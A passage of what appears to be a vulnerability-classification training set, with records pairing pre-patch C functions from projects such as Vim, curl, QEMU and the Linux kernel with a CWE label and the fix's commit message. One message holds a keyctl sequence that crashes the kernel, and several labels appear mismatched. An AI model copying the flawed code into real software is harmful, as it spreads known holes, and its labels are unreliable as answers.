int restart_bit = 0;\n         u_char *restart_pnt;\n         u_char *restart_end;\n\n         /* Check length. */\n         if (cap.length < CAPABILITY_CODE_RESTART_LEN)\n           {\n             zlog_info (\"%s Graceful Restart Capability length error %d\",\n                        peer->host, cap.length);\n             bgp_notify_send (peer, BGP_NOTIFY_CEASE, 0);\n             return -1;\n           }\n\n         SET_FLAG (peer->cap, PEER_CAP_RESTART_RCV);\n         restart_flag_time = ntohs(cap.mpc.afi);\n         if (CHECK_FLAG (restart_flag_time, RESTART_R_BIT))\n           restart_bit = 1;\n         UNSET_FLAG (restart_flag_time, 0xF000);\n\t peer->v_gr_restart = restart_flag_time;\n\n         if (BGP_DEBUG (normal, NORMAL))\n           {\n             zlog_debug (\"%s OPEN has Graceful Restart capability\", peer->host);\n             zlog_debug (\"%s Peer has%srestarted. Restart Time : %d\",\n                        peer->host, restart_bit ? \" \" : \" not \",\n\t\t\tpeer->v_gr_restart);\n           }\n\n         restart_pnt = pnt + 4;\n         restart_end = pnt + cap.length + 2;\n\n         while (restart_pnt < restart_end)\n           {\n             memcpy (&graf, restart_pnt, sizeof (struct graceful_restart_af));\n\n             afi = ntohs(graf.afi);\n             safi = graf.safi;\n\n             if (CHECK_FLAG (graf.flag, RESTART_F_BIT))\n\t\tSET_FLAG (peer->af_cap[afi][safi], PEER_CAP_RESTART_AF_PRESERVE_RCV);\n\n             if (strcmp (afi_safi_print (afi, safi), \"Unknown\") == 0)\n               {\n                  if (BGP_DEBUG (normal, NORMAL))\n                    zlog_debug (\"%s Addr-family %d/%d(afi/safi) not supported. I gnore the Graceful Restart capability\",\n                               peer->host, afi, safi);\n               }\n             else if (! peer->afc[afi][safi])\n               {\n                  if (BGP_DEBUG (normal, NORMAL))\n                     zlog_debug (\"%s Addr-family %d/%d(afi/safi) not enabled. Ignore the Graceful Restart capability\",\n                                peer->host, afi, safi);\n               }\n             else\n               {\n                 if (BGP_DEBUG (normal, NORMAL))\n                   zlog_debug (\"%s Address family %s is%spreserved\", peer->host,\n\t\t\t       afi_safi_print (afi, safi),\n\t\t\t       CHECK_FLAG (peer->af_cap[afi][safi],\n\t\t\t       PEER_CAP_RESTART_AF_PRESERVE_RCV)\n\t\t\t       ? \" \" : \" not \");\n\n                   SET_FLAG (peer->af_cap[afi][safi], PEER_CAP_RESTART_AF_RCV);\n               }\n             restart_pnt += 4;\n           }\n       }\n      else if (cap.code == CAPABILITY_CODE_DYNAMIC)\n\t{\n\t  /* Check length. */\n\t  if (cap.length != CAPABILITY_CODE_DYNAMIC_LEN)\n\t    {\n\t      zlog_info (\"%s Dynamic Capability length error %d\",\n\t\t\t peer->host, cap.length);\n\t      bgp_notify_send (peer, BGP_NOTIFY_CEASE, 0);\n\t      return -1;\n\t    }\n\n\t  if (BGP_DEBUG (normal, NORMAL))\n\t    zlog_debug (\"%s OPEN has DYNAMIC capability\", peer->host);\n\n\t  SET_FLAG (peer->cap, PEER_CAP_DYNAMIC_RCV);\n\t}\n \n      else if (cap.code > 128)\n\t{\n\t  /* We don't send Notification for unknown vendor specific\n\t     capabilities.  It seems reasonable for now...  */\n\t  zlog_warn (\"%s Vendor specific capability %d\",\n\t\t     peer->host, cap.code);\n\t}\n      else\n\t{\n\t  zlog_warn (\"%s unrecognized capability code: %d - ignored\",\n\t\t     peer->host, cap.code);\n\t  memcpy (*error, &cap, cap.length + 2);\n\t  *error += cap.length + 2;\n\t}\n\n      pnt += cap.length + 2;\n    }\n  return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': '[bgpd] cleanup, compact and consolidate capability parsing code\n\n2007-07-26 Paul Jakma \n\n\t* (general) Clean up and compact capability parsing slightly.\n\t  Consolidate validation of length and logging of generic TLV, and\n\t  memcpy of capability data, thus removing such from cap specifc\n\t  code (not always present or correct).\n\t* bgp_open.h: Add structures for the generic capability TLV header\n\t  and for the data formats of the various specific capabilities we\n\t  support.  Hence remove the badly named, or else misdefined, struct\n\t  capability.\n\t* bgp_open.c: (bgp_capability_vty_out) Use struct capability_mp_data.\n\t  Do the length checks *before* memcpy()'ing based on that length\n\t  (stored capability - should have been validated anyway on input,\n\t  but..).\n\t  (bgp_afi_safi_valid_indices) new function to validate (afi,safi)\n\t  which is about to be used as index into arrays, consolidates\n\t  several instances of same, at least one of which appeared to be\n\t  incomplete..\n\t  (bgp_capability_mp) Much condensed.\n\t  (bgp_capability_orf_entry) New, process one ORF entry\n\t  (bgp_capability_orf) Condensed. Fixed to process all ORF entries.\n\t  (bgp_capability_restart) Condensed, and fixed to use a\n\t  cap-specific type, rather than abusing capability_mp.\n\t  (struct message capcode_str) added to aid generic logging.\n\t  (size_t cap_minsizes[]) added to aid generic validation of\n\t  capability length field.\n\t  (bgp_capability_parse) Generic logging and validation of TLV\n\t  consolidated here. Code compacted as much as possible.\n\t* bgp_packet.c: (bgp_open_receive) Capability parsers now use\n\t  streams, so no more need here to manually fudge the input stream\n\t  getp.\n\t  (bgp_capability_msg_parse) use struct capability_mp_data. Validate\n\t  lengths /before/ memcpy. Use bgp_afi_safi_valid_indices.\n\t  (bgp_capability_receive) Exported for use by test harness.\n\t* bgp_vty.c: (bgp_show_summary) fix conversion warning\n\t  (bgp_show_peer) ditto\n\t* bgp_debug.h: Fix storage 'extern' after type 'const'.\n        * lib/log.c: (mes_lookup) warning about code not being in\n          same-number array slot should be debug, not warning. E.g. BGP\n          has several discontigious number spaces, allocating from\n          different parts of a space is not uncommon (e.g. IANA\n          assigned versus vendor-assigned code points in some number\n          space).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ex_endtry(exarg_T *eap)\n{\n    int\t\tidx;\n    int\t\tskip;\n    int\t\trethrow = FALSE;\n    int\t\tpending = CSTP_NONE;\n    void\t*rettv = NULL;\n    cstack_T\t*cstack = eap->cstack;\n\n    if (cmdmod_error(FALSE))\n\treturn;\n\n    if (cstack->cs_trylevel <= 0 || cstack->cs_idx < 0)\n\teap->errmsg = _(e_endtry_without_try);\n    else\n    {\n\t/*\n\t * Don't do something after an error, interrupt or throw in the try\n\t * block, catch clause, or finally clause preceding this \":endtry\" or\n\t * when an error or interrupt occurred after a \":continue\", \":break\",\n\t * \":return\", or \":finish\" in a try block or catch clause preceding this\n\t * \":endtry\" or when the try block never got active (because of an\n\t * inactive surrounding conditional or after an error or interrupt or\n\t * throw) or when there is a surrounding conditional and it has been\n\t * made inactive by a \":continue\", \":break\", \":return\", or \":finish\" in\n\t * the finally clause.  The latter case need not be tested since then\n\t * anything pending has already been discarded. */\n\tskip = did_emsg || got_int || did_throw\n\t\t\t     || !(cstack->cs_flags[cstack->cs_idx] & CSF_TRUE);\n\n\tif (!(cstack->cs_flags[cstack->cs_idx] & CSF_TRY))\n\t{\n\t    eap->errmsg = get_end_emsg(cstack);\n\n\t    // Find the matching \":try\" and report what's missing.\n\t    idx = cstack->cs_idx;\n\t    do\n\t\t--idx;\n\t    while (idx > 0 && !(cstack->cs_flags[idx] & CSF_TRY));\n\t    rewind_conditionals(cstack, idx, CSF_WHILE | CSF_FOR,\n\t\t\t\t\t\t       &cstack->cs_looplevel);\n\t    skip = TRUE;\n\n\t    /*\n\t     * If an exception is being thrown, discard it to prevent it from\n\t     * being rethrown at the end of this function.  It would be\n\t     * discarded by the error message, anyway.  Resets did_throw.\n\t     * This does not affect the script termination due to the error\n\t     * since \"trylevel\" is decremented after emsg() has been called.\n\t     */\n\t    if (did_throw)\n\t\tdiscard_current_exception();\n\n\t    // report eap->errmsg, also when there already was an error\n\t    did_emsg = FALSE;\n\t}\n\telse\n\t{\n\t    idx = cstack->cs_idx;\n\n\t    // Check the flags only when not in a skipped block.\n\t    if (!skip && in_vim9script()\n\t\t     && (cstack->cs_flags[idx] & (CSF_CATCH|CSF_FINALLY)) == 0)\n\t    {\n\t\t// try/endtry without any catch or finally: give an error and\n\t\t// continue.\n\t\teap->errmsg = _(e_missing_catch_or_finally);\n\t    }\n\n\t    /*\n\t     * If we stopped with the exception currently being thrown at this\n\t     * try conditional since we didn't know that it doesn't have\n\t     * a finally clause, we need to rethrow it after closing the try\n\t     * conditional.\n\t     */\n\t    if (did_throw && (cstack->cs_flags[idx] & CSF_TRUE)\n\t\t    && !(cstack->cs_flags[idx] & CSF_FINALLY))\n\t\trethrow = TRUE;\n\t}\n\n\t// If there was no finally clause, show the user when debugging or\n\t// a breakpoint was encountered that the end of the try conditional has\n\t// been reached: display the debug prompt (if not already done).  Do\n\t// this on normal control flow or when an exception was thrown, but not\n\t// on an interrupt or error not converted to an exception or when\n\t// a \":break\", \":continue\", \":return\", or \":finish\" is pending.  These\n\t// actions are carried out immediately.\n\tif ((rethrow || (!skip\n\t\t\t&& !(cstack->cs_flags[idx] & CSF_FINALLY)\n\t\t\t&& !cstack->cs_pending[idx]))\n\t\t&& dbg_check_skipped(eap))\n\t{\n\t    // Handle a \">quit\" debug command as if an interrupt had occurred\n\t    // before the \":endtry\".  That is, throw an interrupt exception and\n\t    // set \"skip\" and \"rethrow\".\n\t    if (got_int)\n\t    {\n\t\tskip = TRUE;\n\t\t(void)do_intthrow(cstack);\n\t\t// The do_intthrow() call may have reset did_throw or\n\t\t// cstack->cs_pending[idx].\n\t\trethrow = FALSE;\n\t\tif (did_throw && !(cstack->cs_flags[idx] & CSF_FINALLY))\n\t\t    rethrow = TRUE;\n\t    }\n\t}\n\n\t/*\n\t * If a \":return\" is pending, we need to resume it after closing the\n\t * try conditional; remember the return value.  If there was a finally\n\t * clause making an exception pending, we need to rethrow it.  Make it\n\t * the exception currently being thrown.\n\t */\n\tif (!skip)\n\t{\n\t    pending = cstack->cs_pending[idx];\n\t    cstack->cs_pending[idx] = CSTP_NONE;\n\t    if (pending == CSTP_RETURN)\n\t\trettv = cstack->cs_rettv[idx];\n\t    else if (pending & CSTP_THROW)\n\t\tcurrent_exception = cstack->cs_exception[idx];\n\t}\n\n\t/*\n\t * Discard anything pending on an error, interrupt, or throw in the\n\t * finally clause.  If there was no \":finally\", discard a pending\n\t * \":continue\", \":break\", \":return\", or \":finish\" if an error or\n\t * interrupt occurred afterwards, but before the \":endtry\" was reached.\n\t * If an exception was caught by the last of the catch clauses and there\n\t * was no finally clause, finish the exception now.  This happens also\n\t * after errors except when this \":endtry\" is not within a \":try\".\n\t * Restore \"emsg_silent\" if it has been reset by this try conditional.\n\t */\n\t(void)cleanup_conditionals(cstack, CSF_TRY | CSF_SILENT, TRUE);\n\n\tif (cstack->cs_idx >= 0\n\t\t\t       && (cstack->cs_flags[cstack->cs_idx] & CSF_TRY))\n\t    leave_block(cstack);\n\t--cstack->cs_trylevel;\n\n\tif (!skip)\n\t{\n\t    report_resume_pending(pending,\n\t\t    (pending == CSTP_RETURN) ? rettv :\n\t\t    (pending & CSTP_THROW) ? (void *)current_exception : NULL);\n\t    switch (pending)\n\t    {\n\t\tcase CSTP_NONE:\n\t\t    break;\n\n\t\t// Reactivate a pending \":continue\", \":break\", \":return\",\n\t\t// \":finish\" from the try block or a catch clause of this try\n\t\t// conditional.  This is skipped, if there was an error in an\n\t\t// (unskipped) conditional command or an interrupt afterwards\n\t\t// or if the finally clause is present and executed a new error,\n\t\t// interrupt, throw, \":continue\", \":break\", \":return\", or\n\t\t// \":finish\".\n\t\tcase CSTP_CONTINUE:\n\t\t    ex_continue(eap);\n\t\t    break;\n\t\tcase CSTP_BREAK:\n\t\t    ex_break(eap);\n\t\t    break;\n\t\tcase CSTP_RETURN:\n\t\t    do_return(eap, FALSE, FALSE, rettv);\n\t\t    break;\n\t\tcase CSTP_FINISH:\n\t\t    do_finish(eap, FALSE);\n\t\t    break;\n\n\t\t// When the finally clause was entered due to an error,\n\t\t// interrupt or throw (as opposed to a \":continue\", \":break\",\n\t\t// \":return\", or \":finish\"), restore the pending values of\n\t\t// did_emsg, got_int, and did_throw.  This is skipped, if there\n\t\t// was a new error, interrupt, throw, \":continue\", \":break\",\n\t\t// \":return\", or \":finish\".  in the finally clause.\n\t\tdefault:\n\t\t    if (pending & CSTP_ERROR)\n\t\t\tdid_emsg = TRUE;\n\t\t    if (pending & CSTP_INTERRUPT)\n\t\t\tgot_int = TRUE;\n\t\t    if (pending & CSTP_THROW)\n\t\t\trethrow = TRUE;\n\t\t    break;\n\t    }\n\t}\n\n\tif (rethrow)\n\t    // Rethrow the current exception (within this cstack).\n\t    do_throw(cstack);\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'patch 9.0.0577: buffer underflow with unexpected :finally\n\nProblem:    Buffer underflow with unexpected :finally.\nSolution:   Check CSF_TRY can be found.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: tlb_update_vma_flags(struct mmu_gather *tlb, struct vm_area_struct *vma)\n{\n\t/*\n\t * flush_tlb_range() implementations that look at VM_HUGETLB (tile,\n\t * mips-4k) flush only large pages.\n\t *\n\t * flush_tlb_range() implementations that flush I-TLB also flush D-TLB\n\t * (tile, xtensa, arm), so it's ok to just add VM_EXEC to an existing\n\t * range.\n\t *\n\t * We rely on tlb_end_vma() to issue a flush, such that when we reset\n\t * these values the batch is empty.\n\t */\n\ttlb->vma_huge = is_vm_hugetlb_page(vma);\n\ttlb->vma_exec = !!(vma->vm_flags & VM_EXEC);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-362'], 'message': 'mmu_gather: Force tlb-flush VM_PFNMAP vmas\n\nJann reported a race between munmap() and unmap_mapping_range(), where\nunmap_mapping_range() will no-op once unmap_vmas() has unlinked the\nVMA; however munmap() will not yet have invalidated the TLBs.\n\nTherefore unmap_mapping_range() will complete while there are still\n(stale) TLB entries for the specified range.\n\nMitigate this by force flushing TLBs for VM_PFNMAP ranges.\n\nSigned-off-by: Peter Zijlstra (Intel) \nAcked-by: Will Deacon \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int minix_fill_super(struct super_block *s, void *data, int silent)\n{\n\tstruct buffer_head *bh;\n\tstruct buffer_head **map;\n\tstruct minix_super_block *ms;\n\tint i, block;\n\tstruct inode *root_inode;\n\tstruct minix_sb_info *sbi;\n\n\tsbi = kmalloc(sizeof(struct minix_sb_info), GFP_KERNEL);\n\tif (!sbi)\n\t\treturn -ENOMEM;\n\ts->s_fs_info = sbi;\n\tmemset(sbi, 0, sizeof(struct minix_sb_info));\n\n\t/* N.B. These should be compile-time tests.\n\t   Unfortunately that is impossible. */\n\tif (32 != sizeof (struct minix_inode))\n\t\tpanic(\"bad V1 i-node size\");\n\tif (64 != sizeof(struct minix2_inode))\n\t\tpanic(\"bad V2 i-node size\");\n\n\tif (!sb_set_blocksize(s, BLOCK_SIZE))\n\t\tgoto out_bad_hblock;\n\n\tif (!(bh = sb_bread(s, 1)))\n\t\tgoto out_bad_sb;\n\n\tms = (struct minix_super_block *) bh->b_data;\n\tsbi->s_ms = ms;\n\tsbi->s_sbh = bh;\n\tsbi->s_mount_state = ms->s_state;\n\tsbi->s_ninodes = ms->s_ninodes;\n\tsbi->s_nzones = ms->s_nzones;\n\tsbi->s_imap_blocks = ms->s_imap_blocks;\n\tsbi->s_zmap_blocks = ms->s_zmap_blocks;\n\tsbi->s_firstdatazone = ms->s_firstdatazone;\n\tsbi->s_log_zone_size = ms->s_log_zone_size;\n\tsbi->s_max_size = ms->s_max_size;\n\ts->s_magic = ms->s_magic;\n\tif (s->s_magic == MINIX_SUPER_MAGIC) {\n\t\tsbi->s_version = MINIX_V1;\n\t\tsbi->s_dirsize = 16;\n\t\tsbi->s_namelen = 14;\n\t\tsbi->s_link_max = MINIX_LINK_MAX;\n\t} else if (s->s_magic == MINIX_SUPER_MAGIC2) {\n\t\tsbi->s_version = MINIX_V1;\n\t\tsbi->s_dirsize = 32;\n\t\tsbi->s_namelen = 30;\n\t\tsbi->s_link_max = MINIX_LINK_MAX;\n\t} else if (s->s_magic == MINIX2_SUPER_MAGIC) {\n\t\tsbi->s_version = MINIX_V2;\n\t\tsbi->s_nzones = ms->s_zones;\n\t\tsbi->s_dirsize = 16;\n\t\tsbi->s_namelen = 14;\n\t\tsbi->s_link_max = MINIX2_LINK_MAX;\n\t} else if (s->s_magic == MINIX2_SUPER_MAGIC2) {\n\t\tsbi->s_version = MINIX_V2;\n\t\tsbi->s_nzones = ms->s_zones;\n\t\tsbi->s_dirsize = 32;\n\t\tsbi->s_namelen = 30;\n\t\tsbi->s_link_max = MINIX2_LINK_MAX;\n\t} else\n\t\tgoto out_no_fs;\n\n\t/*\n\t * Allocate the buffer map to keep the superblock small.\n\t */\n\ti = (sbi->s_imap_blocks + sbi->s_zmap_blocks) * sizeof(bh);\n\tmap = kmalloc(i, GFP_KERNEL);\n\tif (!map)\n\t\tgoto out_no_map;\n\tmemset(map, 0, i);\n\tsbi->s_imap = &map[0];\n\tsbi->s_zmap = &map[sbi->s_imap_blocks];\n\n\tblock=2;\n\tfor (i=0 ; i < sbi->s_imap_blocks ; i++) {\n\t\tif (!(sbi->s_imap[i]=sb_bread(s, block)))\n\t\t\tgoto out_no_bitmap;\n\t\tblock++;\n\t}\n\tfor (i=0 ; i < sbi->s_zmap_blocks ; i++) {\n\t\tif (!(sbi->s_zmap[i]=sb_bread(s, block)))\n\t\t\tgoto out_no_bitmap;\n\t\tblock++;\n\t}\n\n\tminix_set_bit(0,sbi->s_imap[0]->b_data);\n\tminix_set_bit(0,sbi->s_zmap[0]->b_data);\n\n\t/* set up enough so that it can read an inode */\n\ts->s_op = &minix_sops;\n\troot_inode = iget(s, MINIX_ROOT_INO);\n\tif (!root_inode || is_bad_inode(root_inode))\n\t\tgoto out_no_root;\n\n\ts->s_root = d_alloc_root(root_inode);\n\tif (!s->s_root)\n\t\tgoto out_iput;\n\n\tif (!NO_TRUNCATE)\n\t\ts->s_root->d_op = &minix_dentry_operations;\n\n\tif (!(s->s_flags & MS_RDONLY)) {\n\t\tms->s_state &= ~MINIX_VALID_FS;\n\t\tmark_buffer_dirty(bh);\n\t}\n\tif (!(sbi->s_mount_state & MINIX_VALID_FS))\n\t\tprintk(\"MINIX-fs: mounting unchecked file system, \"\n\t\t\t\"running fsck is recommended\\n\");\n \telse if (sbi->s_mount_state & MINIX_ERROR_FS)\n\t\tprintk(\"MINIX-fs: mounting file system with errors, \"\n\t\t\t\"running fsck is recommended\\n\");\n\treturn 0;\n\nout_iput:\n\tiput(root_inode);\n\tgoto out_freemap;\n\nout_no_root:\n\tif (!silent)\n\t\tprintk(\"MINIX-fs: get root inode failed\\n\");\n\tgoto out_freemap;\n\nout_no_bitmap:\n\tprintk(\"MINIX-fs: bad superblock or unable to read bitmaps\\n\");\n    out_freemap:\n\tfor (i = 0; i < sbi->s_imap_blocks; i++)\n\t\tbrelse(sbi->s_imap[i]);\n\tfor (i = 0; i < sbi->s_zmap_blocks; i++)\n\t\tbrelse(sbi->s_zmap[i]);\n\tkfree(sbi->s_imap);\n\tgoto out_release;\n\nout_no_map:\n\tif (!silent)\n\t\tprintk(\"MINIX-fs: can't allocate map\\n\");\n\tgoto out_release;\n\nout_no_fs:\n\tif (!silent)\n\t\tprintk(\"VFS: Can't find a Minix or Minix V2 filesystem \"\n\t\t\t\"on device %s\\n\", s->s_id);\n    out_release:\n\tbrelse(bh);\n\tgoto out;\n\nout_bad_hblock:\n\tprintk(\"MINIX-fs: blocksize too small for device\\n\");\n\tgoto out;\n\nout_bad_sb:\n\tprintk(\"MINIX-fs: unable to read superblock\\n\");\n out:\n\ts->s_fs_info = NULL;\n\tkfree(sbi);\n\treturn -EINVAL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-189'], 'message': '[PATCH] Fix for minix crash\n\nMounting a (corrupt) minix filesystem with zero s_zmap_blocks\ngives a spectacular crash on my 2.6.17.8 system, no doubt\nbecause minix/inode.c does an unconditional\n\tminix_set_bit(0,sbi->s_zmap[0]->b_data);\n\n[akpm@osdl.org: make labels conistent while we're there]\n\nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int fprintf_utab_fs(FILE *f, struct libmnt_fs *fs)\n{\n\tchar *p;\n\n\tassert(fs);\n\tassert(f);\n\n\tif (!fs || !f)\n\t\treturn -EINVAL;\n\n\tp = mangle(mnt_fs_get_source(fs));\n\tif (p) {\n\t\tfprintf(f, \"SRC=%s \", p);\n\t\tfree(p);\n\t}\n\tp = mangle(mnt_fs_get_target(fs));\n\tif (p) {\n\t\tfprintf(f, \"TARGET=%s \", p);\n\t\tfree(p);\n\t}\n\tp = mangle(mnt_fs_get_root(fs));\n\tif (p) {\n\t\tfprintf(f, \"ROOT=%s \", p);\n\t\tfree(p);\n\t}\n\tp = mangle(mnt_fs_get_bindsrc(fs));\n\tif (p) {\n\t\tfprintf(f, \"BINDSRC=%s \", p);\n\t\tfree(p);\n\t}\n\tp = mangle(mnt_fs_get_attributes(fs));\n\tif (p) {\n\t\tfprintf(f, \"ATTRS=%s \", p);\n\t\tfree(p);\n\t}\n\tp = mangle(mnt_fs_get_user_options(fs));\n\tif (p) {\n\t\tfprintf(f, \"OPTS=%s\", p);\n\t\tfree(p);\n\t}\n\tfputc('\\n', f);\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399'], 'message': 'libmount: more robust mtab and utab update (CVE-2011-1676, CVE-2011-1677)\n\nhttp://thread.gmane.org/gmane.comp.security.oss.general/4374\n\nChanges:\n\n - always use temporary file\n\n - use fflush() for the temporary file\n\n - check fprintf() return value\n\nSigned-off-by: Karel Zak '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int utab_lock(const char *filename)\n{\n\tchar *lfile;\n\tint fd;\n\n\tassert(filename);\n\n\tif (asprintf(&lfile, \"%s.lock\", filename) == -1)\n\t\treturn -1;\n\n\tDBG(UPDATE, mnt_debug(\"%s: locking\", lfile));\n\n\tfd = open(lfile, O_RDONLY|O_CREAT|O_CLOEXEC, S_IWUSR|\n\t\t\t                             S_IRUSR|S_IRGRP|S_IROTH);\n\tfree(lfile);\n\n\tif (fd < 0)\n\t\treturn -errno;\n\n\twhile (flock(fd, LOCK_EX) < 0) {\n\t\tint errsv;\n\t\tif (errno == EINTR)\n\t\t\tcontinue;\n\t\terrsv = errno;\n\t\tclose(fd);\n\t\treturn -errsv;\n\t}\n\treturn fd;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399'], 'message': 'libmount: block signals when update utab\n\nSigned-off-by: Karel Zak '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: log_tx_piggyback (const char *q, const char qtype[2], const char *control)\n{\n    string(\"txpb \");\n    logtype (qtype);\n    space ();\n    name (q);\n    space ();\n    name (control);\n    line ();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-362'], 'message': 'Merge identical outgoing requests - patch 2.\n\nThis patch fixes dnscache to combine *same* client queries into one\nsingle outgoing request, thus securing the server from possible cache\npoisoning attacks. The merges operation takes place in the\ndns_transmit layer, rather than between query and dns_transmit layers,\nas done in the previous patch.\n\nThis fixes one of the cache poisoning vulnerability reported by\nMr Mark Johnson -> https://bugzilla.redhat.com/show_bug.cgi?id=838965.\n\nNonetheless the original patch for this issue was created by\nMr Jeff king -> http://marc.info/?l=djbdns&m=123859517723684&w=3#2\n\nSincere thanks to Mr Mark for reporting this issue and Mr Jeff for\ncreating the patch and releasing it under GPLv2.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int keyring_detect_cycle_iterator(const void *object,\n\t\t\t\t\t void *iterator_data)\n{\n\tstruct keyring_search_context *ctx = iterator_data;\n\tconst struct key *key = keyring_ptr_to_key(object);\n\n\tkenter(\"{%d}\", key->serial);\n\n\tBUG_ON(key != ctx->match_data);\n\tctx->result = ERR_PTR(-EDEADLK);\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'KEYS: Make the keyring cycle detector ignore other keyrings of the same name\n\nThis fixes CVE-2014-0102.\n\nThe following command sequence produces an oops:\n\n\tkeyctl new_session\n\ti=`keyctl newring _ses @s`\n\tkeyctl link @s $i\n\nThe problem is that search_nested_keyrings() sees two keyrings that have\nmatching type and description, so keyring_compare_object() returns true.\ns_n_k() then passes the key to the iterator function -\nkeyring_detect_cycle_iterator() - which *should* check to see whether this is\nthe keyring of interest, not just one with the same name.\n\nBecause assoc_array_find() will return one and only one match, I assumed that\nthe iterator function would only see an exact match or never be called - but\nthe iterator isn't only called from assoc_array_find()...\n\nThe oops looks something like this:\n\n\tkernel BUG at /data/fs/linux-2.6-fscache/security/keys/keyring.c:1003!\n\tinvalid opcode: 0000 [#1] SMP\n\t...\n\tRIP: keyring_detect_cycle_iterator+0xe/0x1f\n\t...\n\tCall Trace:\n\t  search_nested_keyrings+0x76/0x2aa\n\t  __key_link_check_live_key+0x50/0x5f\n\t  key_link+0x4e/0x85\n\t  keyctl_keyring_link+0x60/0x81\n\t  SyS_keyctl+0x65/0xe4\n\t  tracesys+0xdd/0xe2\n\nThe fix is to make keyring_detect_cycle_iterator() check that the key it\nhas is the key it was actually looking for rather than calling BUG_ON().\n\nA testcase has been included in the keyutils testsuite for this:\n\n\thttp://git.kernel.org/cgit/linux/kernel/git/dhowells/keyutils.git/commit/?id=891f3365d07f1996778ade0e3428f01878a1790b\n\nReported-by: Tommi Rantala \nSigned-off-by: David Howells \nAcked-by: James Morris \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: CURLcode Curl_output_negotiate(struct connectdata *conn, bool proxy)\n{\n  struct negotiatedata *neg_ctx = proxy?&conn->data->state.proxyneg:\n    &conn->data->state.negotiate;\n  char *encoded = NULL;\n  size_t len = 0;\n  char *userp;\n  CURLcode error;\n\n  error = Curl_base64_encode(conn->data,\n                             (const char*)neg_ctx->output_token,\n                             neg_ctx->output_token_length,\n                             &encoded, &len);\n  if(error)\n    return error;\n\n  if(len == 0)\n    return CURLE_REMOTE_ACCESS_DENIED;\n\n  userp = aprintf(\"%sAuthorization: %s %s\\r\\n\", proxy ? \"Proxy-\" : \"\",\n                  neg_ctx->protocol, encoded);\n\n  if(proxy)\n    conn->allocptr.proxyuserpwd = userp;\n  else\n    conn->allocptr.userpwd = userp;\n  free(encoded);\n  Curl_cleanup_negotiate (conn->data);\n  return (userp == NULL) ? CURLE_OUT_OF_MEMORY : CURLE_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284'], 'message': 'Don't clear GSSAPI state between each exchange in the negotiation\n\nGSSAPI doesn't work very well if we forget everything ever time.\n\nXX: Is Curl_http_done() the right place to do the final cleanup?'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void qemu_input_queue_delay(struct QemuInputEventQueueHead *queue,\n                                   QEMUTimer *timer, uint32_t delay_ms)\n{\n    QemuInputEventQueue *item = g_new0(QemuInputEventQueue, 1);\n    bool start_timer = QTAILQ_EMPTY(queue);\n\n    item->type = QEMU_INPUT_QUEUE_DELAY;\n    item->delay_ms = delay_ms;\n    item->timer = timer;\n    QTAILQ_INSERT_TAIL(queue, item, node);\n\n    if (start_timer) {\n        timer_mod(item->timer, qemu_clock_get_ms(QEMU_CLOCK_VIRTUAL)\n                  + item->delay_ms);\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-772'], 'message': 'input: limit kbd queue depth\n\nApply a limit to the number of items we accept into the keyboard queue.\n\nImpact: Without this limit vnc clients can exhaust host memory by\nsending keyboard events faster than qemu feeds them to the guest.\n\nFixes: CVE-2017-8379\nCc: P J P \nCc: Huawei PSIRT \nReported-by: jiangxin1@huawei.com\nSigned-off-by: Gerd Hoffmann \nMessage-id: 20170428084237.23960-1-kraxel@redhat.com'"
+  },
+  {
